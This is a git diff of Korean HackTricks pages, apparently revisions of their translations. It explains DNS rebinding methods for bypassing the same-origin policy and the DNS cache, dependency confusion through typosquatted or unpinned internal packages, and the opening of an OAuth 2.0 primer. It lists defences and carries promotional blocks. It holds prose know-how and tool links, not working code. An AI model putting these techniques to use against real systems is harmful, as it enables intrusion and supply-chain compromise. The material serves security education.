5. 피해자의 IP를 제어하면서, 공격자는 피해자에게 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.
|
||||
5. 피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.
|
||||
|
||||
이 기술은 브라우저가 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 캐싱 메커니즘을 가지고 있음을 유의해야 합니다.
|
||||
이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있다는 점을 유의해야 합니다.
|
||||
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하는 데 유용하거나 사용자나 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에서 캐시가 만료되는 것을 허용하는 경우에 유용할 수 있습니다.
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에서 캐시가 만료되는 것을 허용하기 위해 유용할 수 있습니다.
|
||||
|
||||
DNS 리바인딩을 빠르게 악용하려면 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)와 같은 서비스를 사용할 수 있습니다.
|
||||
|
||||
자체 DNS 리바인딩 서버를 실행하려면 **DNSrebinder**([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))와 같은 도구를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출시키고, 해당 포트를 가리키는 A 레코드를 생성하고, 이전에 생성된 A 하위 도메인을 가리키는 NS 레코드를 생성하는 것을 포함합니다. ns.example.com 하위 도메인의 하위 도메인은 그 후에 호스트에 의해 해결됩니다.
|
||||
자체 DNS 리바인딩 서버를 실행하려면 **DNSrebinder**([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))와 같은 도구를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출시키고 해당 포트를 가리키는 A 레코드를 만들고 이전에 만든 A 하위 도메인을 가리키는 NS 레코드를 만드는 것을 포함합니다. ns.example.com 하위 도메인의 모든 하위 도메인은 이후에 호스트에 의해 해결됩니다.
|
||||
|
||||
더 많은 이해와 실험을 위해 [http://rebind.it/singularity.html](http://rebind.it/singularity.html)에서 공개적으로 실행되는 서버를 탐색할 수도 있습니다.
|
||||
더 많은 이해와 실험을 위해 [http://rebind.it/singularity.html](http://rebind.it/singularity.html)에서 공개적으로 실행 중인 서버를 탐색할 수도 있습니다.
|
||||
|
||||
### DNS 리바인딩을 통한 **DNS 캐시 홍수**
|
||||
|
||||
DNS 캐시 홍수를 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 또 다른 기술입니다. 작동 방식은 다음과 같습니다:
|
||||
DNS 캐시 홍수를 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 기술입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 초기에 피해자가 DNS 요청을 수행하면, 공격자의 IP 주소로 응답됩니다.
|
||||
1. 초기에 피해자가 DNS 요청을 수행하면 공격자의 IP 주소로 응답됩니다.
|
||||
2. 캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 홍수시켜 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
|
||||
3. 피해자의 브라우저가 두 번째 DNS 요청을 수행하면, 이제 일반적으로 localhost를 가리키는 IP 주소 127.0.0.1로 응답됩니다.
|
||||
3. 피해자의 브라우저가 두 번째 DNS 요청을 수행하면 이제 IP 주소 127.0.0.1로 응답됩니다. 일반적으로 이는 로컬호스트를 가리킵니다.
|
||||
|
||||
서비스 워커를 통해 DNS 캐시를 홍수시킴으로써, 공격자는 DNS 해결 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 수행하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.
|
||||
서비스 워커를 사용하여 DNS 캐시를 홍수시킴으로써 공격자는 DNS 해결 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 수행하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.
|
||||
|
||||
### DNS 리바인딩을 통한 **캐시**
|
||||
|
||||
캐싱 방어를 우회하는 또 다른 방법은 DNS 제공업체에서 동일 서브도메인에 대해 여러 IP 주소를 활용하는 것입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 공격자는 DNS 제공업체에서 동일 서브도메인을 위해 두 개의 A 레코드(또는 두 개의 IP를 가진 단일 A 레코드)를 설정합니다.
|
||||
1. 공격자는 DNS 제공업체에서 동일 서브도메인에 대해 두 개의 A 레코드(또는 두 개의 IP를 가진 단일 A 레코드)를 설정합니다.
|
||||
2. 브라우저가 이러한 레코드를 확인하면 두 IP 주소를 받습니다.
|
||||
3. 브라우저가 먼저 공격자의 IP 주소를 사용하기로 결정하면, 공격자는 동일 도메인으로 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
|
||||
4. 그러나 공격자가 피해자의 IP 주소를 획득하면, 피해자의 브라우저에 응답을 중단합니다.
|
||||
3. 브라우저가 먼저 공격자의 IP 주소를 사용하기로 결정하면 공격자는 동일 도메인으로 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
|
||||
4. 그러나 공격자가 피해자의 IP 주소를 획득하면 피해자의 브라우저에 응답을 중단합니다.
|
||||
5. 도메인이 응답하지 않음을 인식한 피해자의 브라우저는 두 번째로 제공된 IP 주소를 사용하도록 전환합니다.
|
||||
6. 두 번째 IP 주소에 액세스함으로써, 브라우저는 동일 출처 정책(SOP)을 우회하여 공격자가 이를 악용하고 정보를 수집하고 유출할 수 있습니다.
|
||||
6. 두 번째 IP 주소에 액세스함으로써 브라우저는 동일 출처 정책(SOP)을 우회하여 공격자가 이를 악용하고 정보를 수집하고 유출할 수 있습니다.
|
||||
|
||||
이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용합니다. 응답을 전략적으로 제어하고 브라우저가 선택한 IP 주소를 조작함으로써, 공격자는 SOP를 악용하고 피해자로부터 정보에 액세스할 수 있습니다.
|
||||
이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용하여 응답을 전략적으로 제어하고 브라우저가 선택한 IP 주소를 조작함으로써 공격자가 SOP를 악용하고 피해자로부터 정보에 액세스할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
localhost에 액세스하려면 Windows에서는 **127.0.0.1**을, Linux에서는 **0.0.0.0**을 다시 바인딩해야 합니다.\
|
||||
godaddy나 cloudflare와 같은 제공업체는 저에게 IP 0.0.0.0을 사용할 수 없게 했지만, AWS route53는 "0.0.0.0" 중 하나인 2개의 IP를 가진 A 레코드를 생성할 수 있게 했습니다.
|
||||
localhost에 액세스하려면 Windows에서 **127.0.0.1**을, Linux에서 **0.0.0.0**을 재바인딩해야 합니다.\
|
||||
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만 AWS route53는 두 개의 IP 중 하나가 "0.0.0.0"인 A 레코드를 만들 수 있게 했습니다.
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
더 많은 정보는 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)에서 확인할 수 있습니다.
|
||||
### 기타 일반적인 우회 방법
|
||||
|
||||
* **내부 IP가 허용되지 않는 경우**, **0.0.0.0을 금지하는 것을 잊을 수 있음** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 허용되지 않는 경우**, **로컬호스트에 대한 CNAME**으로 응답 (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, www.corporate.internal과 같은 **내부 서비스에 대한 CNAME**으로 응답할 수 있음.
|
||||
* **내부 IP가 허용되지 않는 경우**, **로컬호스트에 대한 CNAME으로 응답** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, www.corporate.internal과 같은 **내부 서비스에 대한 CNAME 응답**을 할 수 있음.
|
||||
|
||||
### DNS Rebidding 무기화
|
||||
|
||||
이전 우회 기술 및 다음 도구 사용 방법에 대한 자세한 정보는 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
|
||||
이전 우회 기술에 대한 자세한 정보 및 다음 도구 사용 방법은 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 컴퓨터의 IP 주소로 재바인딩하고 대상 컴퓨터의 취약한 소프트웨어를 공격하는 페이로드를 제공하기 위한 필수 구성 요소가 포함되어 있습니다.
|
||||
|
||||
### DNS Rebinding에 대한 실제 보호
|
||||
|
||||
* 내부 서비스에서 TLS 사용
|
||||
* 데이터에 액세스하기 위해 인증 요청
|
||||
* Host 헤더 유효성 검사
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 공용 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내도록 제안
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 공개 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내는 제안
|
||||
|
||||
## **도구**
|
||||
|
||||
|
@ -375,16 +381,21 @@ godaddy나 cloudflare와 같은 제공업체는 저에게 IP 0.0.0.0을 사용
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,72 @@
|
|||
# 의존성 혼동
|
||||
# 의존성 혼란
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전을 사용하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유**하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
요약하자면, 의존성 혼동 취약점은 프로젝트가 **맞춤법이 틀린** 이름, **존재하지 않는** 라이브러리 또는 **지정되지 않은 버전**을 사용하고 사용 중인 의존성 저장소가 **공개 저장소에서 업데이트된 버전을 수집**할 수 있을 때 발생합니다.
|
||||
요약하면, 의존성 혼란 취약점은 프로젝트가 **철자가 틀린** 이름, **존재하지 않는** 또는 **지정되지 않은 버전**을 가진 라이브러리를 사용하고 사용된 의존성 저장소가 **공개 저장소에서 업데이트된 버전을 수집할 수 있는 경우** 발생합니다.
|
||||
|
||||
* **맞춤법이 틀린**: `requests` 대신에 **`reqests`**를 임포트합니다.
|
||||
* **존재하지 않는**: 더 이상 **존재하지 않는** 내부 라이브러리인 `company-logging`을 임포트합니다.
|
||||
* **지정되지 않은 버전**: 내부 **존재하는** `company-requests` 라이브러리를 임포트하지만, 저장소는 **공개 저장소**를 확인하여 **더 큰 버전**이 있는지 확인합니다.
|
||||
* **철자가 틀린**: `requests` 대신 **`reqests`**를 가져옴
|
||||
* **존재하지 않는**: 더 이상 존재하지 않는 내부 라이브러리인 `company-logging`을 가져옴
|
||||
* **지정되지 않은 버전**: 내부 **존재하는** `company-requests` 라이브러리를 가져오지만, 레포지토리가 **공개 레포지토리**에서 **더 큰 버전**이 있는지 확인합니다.
|
||||
|
||||
## 공격
|
||||
|
||||
{% hint style="warning" %}
|
||||
모든 경우에 공격자는 피해 회사가 사용하는 라이브러리의 **악성 패키지를 게시**하기만 하면 됩니다.
|
||||
모든 경우에 공격자는 피해자 회사가 사용하는 라이브러리의 **악성 패키지를 이름으로 발행**하면 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
### 맞춤법이 틀린 & 존재하지 않는
|
||||
### 철자가 틀린 & 존재하지 않는
|
||||
|
||||
회사가 **내부가 아닌 라이브러리를 임포트**하려고 할 때, 라이브러리 저장소는 **공개 저장소**에서 해당 라이브러리를 검색하려고 할 것입니다. 공격자가 해당 라이브러리를 생성한 경우, 코드와 실행 중인 기기가 크게 손상될 가능성이 높습니다.
|
||||
회사가 **내부가 아닌 라이브러리를 가져오려고 하는 경우**, 라이브러리 레포지토리는 **공개 레포지토리**에서 해당 라이브러리를 찾을 것입니다. 공격자가 만들었다면, 귀하의 코드와 실행 중인 기기가 크게 **침해**를 받을 가능성이 높습니다.
|
||||
|
||||
### 지정되지 않은 버전
|
||||
|
||||
개발자들이 사용하는 라이브러리의 버전을 **지정하지 않는 것**이 매우 일반적이거나 **주 버전만** 지정하는 경우가 많습니다. 그런 다음, 인터프리터는 해당 요구 사항을 충족하는 **최신 버전**을 다운로드하려고 시도합니다.\
|
||||
라이브러리가 **알려진 외부 라이브러리**인 경우 (예: 파이썬 `requests`), **공격자는 많은 것을 할 수 없습니다**, 왜냐하면 `requests`라는 라이브러리를 생성할 수 없기 때문입니다 (원래 작성자가 아닌 한).\
|
||||
그러나 이 예시에서처럼 라이브러리가 **내부**인 경우, 예를 들어 `requests-company`인 경우, **라이브러리 저장소**가 **외부에서도 새 버전을 확인할 수 있도록 허용**한다면, 공개적으로 사용 가능한 더 최신 버전을 검색할 것입니다.\
|
||||
따라서 **공격자는** 회사가 `requests-company` 라이브러리 **버전 1.0.1** (마이너 업데이트 허용)을 사용한다는 것을 **알고 있다면**, 라이브러리 `requests-company` **버전 1.0.2**를 **게시**할 수 있고, 회사는 내부 라이브러리 대신 해당 라이브러리를 **사용**할 것입니다.
|
||||
개발자가 라이브러리의 버전을 **지정하지 않는 것**이나 **주 버전만 지정**하는 것이 매우 흔합니다. 그럼 인터프리터는 해당 요구 사항을 충족하는 **최신 버전**을 다운로드하려고 할 것입니다.\
|
||||
라이브러리가 **알려진 외부 라이브러리**인 경우(예: 파이썬 `requests`), **공격자는 많은 것을 할 수 없습니다**, 왜냐하면 `requests`라는 라이브러리를 만들 수 없기 때문입니다(원래 저자가 아닌 한).\
|
||||
그러나 이 예에서처럼 라이브러리가 **내부**인 경우, `requests-company`인 경우, **라이브러리 레포지토리**가 **외부에서도 새 버전을 확인할 수 있도록 허용**한다면, 공개적으로 사용 가능한 새 버전을 찾을 것입니다.\
|
||||
따라서 **공격자가** 회사가 `requests-company` 라이브러리 **버전 1.0.1**을 사용하고 있다는 것을 알고 있다면(마이너 업데이트 허용), 라이브러리 `requests-company` **버전 1.0.2**를 **발행**할 수 있고 회사는 내부 라이브러리 대신 **해당 라이브러리를 사용**할 것입니다.
|
||||
|
||||
## AWS 수정
|
||||
|
||||
이 취약점은 AWS **CodeArtifact**에서 발견되었습니다 (자세한 내용은 [**이 블로그 포스트**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)를 읽으세요).\
|
||||
이 취약점은 AWS **CodeArtifact**에서 발견되었습니다(이 [**블로그 게시물의 자세한 내용**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)을 읽으세요).\
|
||||
AWS는 내부 라이브러리를 외부 저장소에서 다운로드하지 않도록 하기 위해 라이브러리가 내부 또는 외부인지를 지정할 수 있도록 수정했습니다.
|
||||
|
||||
## 취약한 라이브러리 찾기
|
||||
|
||||
[**의존성 혼동에 관한 원본 포스트**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)에서 저자는 수천 개의 노출된 package.json 파일을 검색하여 JavaScript 프로젝트의 종속성을 찾았습니다.
|
||||
[**의존성 혼란에 관한 원본 게시물**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)에서 저자는 수천 개의 노출된 package.json 파일을 검색하여 자바스크립트 프로젝트의 종속성을 찾았습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전을 사용하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유**하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,47 +2,51 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 기본 정보 <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth는 여러 버전을 제공하며, 기본적인 내용은 [OAuth 2.0 문서](https://oauth.net/2/)에서 확인할 수 있습니다. 이 토론은 주로 널리 사용되는 [OAuth 2.0 인가 코드 그랜트 타입](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, 이는 **응용 프로그램이 다른 응용 프로그램(인증 서버)의 사용자 계정에 액세스하거나 작업을 수행할 수 있는 인가 프레임워크**를 제공합니다.
|
||||
OAuth는 여러 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 문서](https://oauth.net/2/)에서 확인할 수 있습니다. 이 토론은 주로 널리 사용되는 [OAuth 2.0 인가 코드 그랜트 유형](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **응용 프로그램이 다른 응용 프로그램(인가 서버)의 사용자 계정에 액세스하거나 작업을 수행할 수 있는 인가 프레임워크**를 제공합니다.
|
||||
|
||||
가상의 웹사이트 _**https://example.com**_을 고려해보겠습니다. 이 웹사이트는 **사용자의 모든 소셜 미디어 게시물을 보여주는** 것이 목적입니다. 이를 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **사용자의 소셜 미디어 게시물에 액세스하기 위한 권한을 요청**합니다. 이에 따라 _https://socialmedia.com_에서 동의 화면이 나타나며, **요청하는 권한과 요청을 하는 개발자**가 설명됩니다. 사용자의 승인 후, _https://example.com_은 **사용자를 대신하여 게시물에 액세스할 수 있는 권한**을 얻게 됩니다.
|
||||
가정적인 웹사이트 _**https://example.com**_은 **모든 소셜 미디어 게시물을 쇼케이스**하기 위해 OAuth 2.0을 사용합니다. _https://example.com_은 **소셜 미디어 게시물에 액세스**하도록 권한을 요청합니다. 결과적으로 _https://socialmedia.com_에서 **요청되는 권한 및 요청을 하는 개발자**를 설명하는 동의 화면이 표시됩니다. 귀하의 승인 후, _https://example.com_은 **귀하를 대신하여 귀하의 게시물에 액세스**할 수 있게 됩니다.
|
||||
|
||||
OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이 중요합니다:
|
||||
|
||||
- **리소스 소유자**: 사용자/개체로서 **소셜 미디어 계정 게시물과 같은 리소스에 대한 액세스를 승인**합니다.
|
||||
- **리소스 서버**: 응용 프로그램이 `리소스 소유자`를 대신하여 `액세스 토큰`을 확보한 후 인증된 요청을 관리하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **클라이언트 응용 프로그램**: `리소스 소유자`로부터 인가를 요청하는 **응용 프로그램**, 예: **https://example.com**.
|
||||
